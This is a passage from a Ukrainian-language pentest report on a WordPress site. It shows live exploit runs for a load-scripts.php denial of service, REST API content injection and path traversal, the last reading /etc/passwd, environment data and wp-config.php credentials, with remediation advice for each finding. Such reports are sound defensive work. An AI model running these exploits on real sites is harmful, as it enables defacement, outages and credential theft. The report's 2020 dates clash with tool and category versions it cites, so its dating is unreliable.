audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor- expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image- widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit- post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list- revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media- gallery,svg-painter&ver=4.9' -t 9999 2733 requests has been sent Status code 500 received after 2907 requests Скріншот 5. Сторінка сайту з кодом відповіді сервера 500 - з'єднання недоступне, внаслідок DOS-атаки. 26 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 30. 27 ОПИС ТА ВПЛИВ АТАКИ В ході сканування CMS WordPress визначено, що сайт [domain] давно не оновлювався й використовує застаріле ядро з офіційно зареєстрованими вразливостями, зокрема CVE-2018-6389. Вразливість полягає у тому, що зловмисник зі свого сервера відправляє з високою пропускною здатністю необмежену кількість GET-запитів по HTTP-протоколу на сайт жертви, атакуючи файл load- scripts.php - це вбудований скрипт WordPress, який викликає деякі модулі JavaScript з папки /wp- includes/script-loader.php при завантаженні сайту. Однак, доступ до нього відкритий, що власне і дозволяє зловмисникам зловживати цією функцією. Завдяки додатковим URL-параметрам і значенням можна здійснювати виклик усіх модулів JS одночасно і цим спричиняти високе навантаження на сервер: http://[domain]/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,.... Якщо сервер не надто потужний, то він швидко вийде з ладу, віддаючи помилку 500. Отже, цілісність і доступність сайтом під високим ризиком. Рекомендується належним чином прореагувати. В інтернеті розіщено готовий експлойт для ексалуатації цієї вразливості - doser.py (https://github.com/quitten/doser.py). Його автор - дослідник безпеки Barak Tawily, який вперше зафіксував цю вразливість (Детальніше: https://baraktawily.blogspot.com/2018/02/how-to-dos-29-of- world wide websites html) РЕКОМЕНДАЦІЇ Оновити CMS WordPress до останньої актуальної версії. Блокувати неавторизований доступ до файлів WordPress - load-scripts.php та load-styles.php Встановити плагін WAF для WordPress, наприклад Wordfence. Фільтрувати запити по протоколу HTTP. Налаштувати фільтрацію шкідливих IP-адрес. 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 31. НАЗВА АТАКИ PHP INFORMATION DISCLOSURE / OUTDATED VERSION РІВЕНЬ ЗАГРОЗИ MEDIUM CVSS SCORE: 5.8 CWE-200, A1:2021, A6:2021 ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ $ nuclei -u http://[domain] __ _ ____ __ _______/ /__ (_) / __ / / / / ___/ / _ / / / / / / /_/ / /__/ / __/ / /_/ /_/__,_/___/_/___/_/ v2.9.1 projectdiscovery.io ... [phpinfo-files] [http] [low] http://[domain]/php.php [5.6] ... Скріншот 6. Сторінка з фунцією phpinfo у відкритому доступі 28 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 32. 29 ОПИС ТА ВПЛИВ АТАКИ Точна версія і налаштування PHP. Операційна система сервера і її версія. Список зареєстрованих модулів і компонентів PHP. Параметри компіляції PHP. Змінні середовища і шляхи до розташування серверних файлів та папок. Внутрішні IP-адреси і топологія мережі. HTTP-заголовки. API-технології. ... та багато іншого. Мережевий веб-сканер Nuclei виявив на сайті [domain] публічно доступний службовий файл php.php, який містить функцію phpinfo() для виведення повної інформації про технічну конфігурацію сервера. В результаті цієї вразливості вдалося дізнатися інформацію: Подібна інформація є конфіденційною і повинна надаватися лише адміністраторам ресурсу. Для зловмисника функція phpinfo() має життєво важливе значення, адже використовуючи її він може отримати вичерпні відомості про систему - дізнатися яке програмне забезпечення використовується на сервері, чи вразливе воно, отримати топологію мережі, проаналізувати файлову систему, підібрати експлойти та спланувати атаки іншого рівня, наприклад: LFI/RFI/RCE/SQLi/XSS. Детальніше про цю вразливість: https://vk9-sec.com/phpinfo-information-disclosure/. Варто додати, що сервер застосовує застарілу версію PHP 5.6 з офіційно зареєстрованими вразливостями. Це може привести до ще більших наслідків і проблем безпеки. Детальніше: https://prototype.php.net/versions/5.6.30/. РЕКОМЕНДАЦІЇ Видалити файл php.php або обмежити доступ до нього. Оновити PHP до останньої актуальної версії. 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 33. НАЗВА АТАКИ WORDPRESS REST API CONTENT INJECTION ATTACK РІВЕНЬ ЗАГРОЗИ HIGH CVSS SCORE: 7.5 CVE-2017- 1001000, CVE- 2017-5612 ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ $ python2 CVE-2017-1001000.py [X] WORDPRESS 4.7.0/4.7.1 CONTENT INJECTION EXPLOIT [X] [x] Enter the URL: http://[domain]/ [?] Please wait ... [x] Wordpress Version: 4.7.1 [x] It's affected version. It seems vulnerable, continue? [y/n] y [x] Parsing data information, please wait ... [x] Post ID: 23 [x] Post Title: Lorem Ipsum Post 1 [x] Post URL: http://[domain]/index.php/2020/04/07/duis-sagittis-ipsum/ [x] Post Content: <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed c [SNIPPET] [x] Post ID: 21 [x] Post Title: Lorem Ipsum Post 2 [x] Post URL: http://[domain]/index.php/2020/04/07/morbi-lacinia-molestie-dui/ [x] Post Content: <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed c [SNIPPET] [x] Post ID: 19 [x] Post Title: Lorem Ipsum Post 3 [x] Post URL: http://[domain]/index.php/2020/04/07/class-aptent-taciti-sociosqu-ad-litora/ [x] Post Content: <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed c [SNIPPET] [x] Post ID: 15 [x] Post Title: Lorem Ipsum Post 4 [x] Post URL: http://[domain]/index.php/2020/04/07/fusce-ac-turpis-quis-ligula-lacinia/ [x] Post Content: <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed c [SNIPPET] [x] Post ID: 13 [x] Post Title: Lorem Ipsum Post 5 [x] Post URL: http://[domain]/index.php/2020/04/07/suspendisse-in-justo-eu-magna-luctus-suscipit/ [x] Post Content: <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed c [SNIPPET] [x] Enter ID Content that you want to overwrite: [x] Enter ID Content that you want to overwrite: 23 [x] Change title: Penentration Testing Demonstration => 1. Load data from file. => 2. Input data. [x] Change content by [1/2] ? 2 [?] Input data: Content Injection Demo Text [x] Exploit in progress ... [x] Update success! 30 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 34. Скріншот 7. Сторінка сайту WordPress з публікацією до початку експлуатації. Скріншот 8. Сторінка сайту з публікацією після експлуатації. Було замінено існуючий контент на новий без автентифікації. 31 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 35. 32 ОПИС ТА ВПЛИВ АТАКИ В ході пентесту виявлено, що на сайті [domain] використовується застаріла версія CMS WordPress 4.7.1, яка має численні вразливості, зокрема дозволяє будь-якому користувачеві Інтернет модифікувати вміст публікацій. В базі даних Exploit-DB вдалося підшукати експлойт та проексплуатувати його. Ця серйозна вразливість стала можливою через недостатній контроль доступу до REST API (Representational State Transfer Application Programming Interface) - технологія віддаленого адміністрування, яка вперше з'явилася в WordPress v.4.7. Вона дозволяє користувачам і компонентам WordPress дистанційно наповнювати і редагувати вміст сайту (Детальніше: https://secure.wphackedhelp.com/blog/wordpress-rest-api-vulnerability-content-injection/). Вразливість існує у версіях WordPress 4.7.0-4.7.1. У 2017 році від неї постраждали близько 2 млн. сайтів (Рекомендуємо ознайомитися з детальним звітом компанії WordFence Security: https://www.wordfence.com/blog/2017/02/rest-api-exploit-feeding-frenzy-deface-wordpress-sites/). Вразливість було виправлено у версії WordPress 4.7.2. Зловмисники можуть провести так-званий дефейс (deface) сайту - несанкціоновано змінити або знищити контент на сайті. Окрім того, ця вразливість розкриває ряд інших проблем, наприклад через неї можна отримати імена всіх облікових звписів (Username Enumeration Attack), підібрати паролі до них (Brutforce Password Attack), вбудувати шкідливий код на сайт (SQL/PHP/XSS Injection), запроваджувати Black-Hat SEO (фішинг, дорвеїнг, спамдексінг) та багато іншого. Цю вразливість докладно вивчили та описали спеціалісти компанії Sucuri: https://blog.sucuri.net/2017/02/content- injection-vulnerability-wordpress-rest-api.html РЕКОМЕНДАЦІЇ Оновити CMS WordPress до останньої актуальної версії. Налаштувати суворе обмеження доступу по REST API для всіх неавторизованих відвідувачів і HTTP- клієнтів. Зокрема обмежити доступ до URL-адрес: http://[domain]/wp-json/wp/v2/users, http://[domain]/wp-json/wp/v2/posts, http://[domain]/wp-json/wp/v2/tags, http://[domain]/wp- json/wp/v2/categories, http://[domain]/wp-json/wp/v2/comments тощо. Це можна зробити вручну або встановивши плагін Disable REST API. Встановити плагін безпеки для WordPress - файєрвол WordFence Security. Підключити до сайту CDN CloudFlare, який буде додатково фільтрувати вхідні запити. 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 36. НАЗВА АТАКИ WORDPRESS UNAUTHENTICATED PATH TRAVERSAL ATTACK РІВЕНЬ ЗАГРОЗИ HIGH CVSS SCORE: 7.5 CVE-2020-11738 ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ $ python CVE-2020-11738.py http://[domain] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin _rpc:x:113:65534::/run/rpcbind:/usr/sbin/nologin statd:x:114:65534::/var/lib/nfs:/usr/sbin/nologin snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin opc:x:1000:1000::/home/opc:/bin/sh ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false lsadm:x:997:998:lsadm:/:/sbin/nologin mysql:x:115:120:MySQL Server,,,:/nonexistent:/bin/false $ python CVE-2020-11738.py http://[domain] /proc/version Linux version 5.15.0-1032-oracle (buildd@lcy02-amd64-073) (gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #38~20.04.1-Ubuntu SMP Thu Mar 23 20:47:49 UTC 2020 $ python CVE-2020-11738.py http://[domain] /proc/self/environ n/adminajax.phpve_some_room_to_avoid_overwrite_important_envPHP_LSAPI_CHILDREN=10LSAPI_AVOID_FORK=200MP ATH=/bin:/usr/binLSAPI_PPID_NO_CHECK=1LSAPI_PGRP_MAX_IDLE=60LSAPI_KEEP_LISTEN=2 33 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 37. $ python CVE-2020-11738.py http://[domain] /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) $ python CVE-2020-11738.py http://[domain] /proc/cpuinfo processor : 1 vendor_id : AuthenticAMD cpu family : 23 model : 49 model name : AMD EPYC 7742 64-Core Processor stepping : 0 microcode : 0x1000065 cpu MHz : 2245.780 cache size : 512 KB physical id : 0 siblings : 2 core id : 0 cpu cores : 1 apicid : 1 initial apicid : 1 fpu : yes fpu_exception : yes cpuid level : 16 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves clzero xsaveerptr wbnoinvd arat npt nrip_save umip rdpid arch_capabilities bugs : sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed bogomips : 4491.56 TLB size : 1024 4K pages clflush size : 64 cache_alignment : 64 address sizes : 40 bits physical, 48 bits virtual power management: 34 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 38. Скріншот 9. HTTP-запит в браузері до вразливої URL-адреси сайту WordPress. Після вдалої обробки GET- запиту, відбулося автоматичне завантаження системного файлу wp-config.php на локальний комп'ютер. Скріншот 10. Файл wp-config.php з доступом до бази даних сайту, завантажений після успішної атаки Path Directory Traversal. 35 07/04/2020 SECURITY@KR-LABS.COM.UA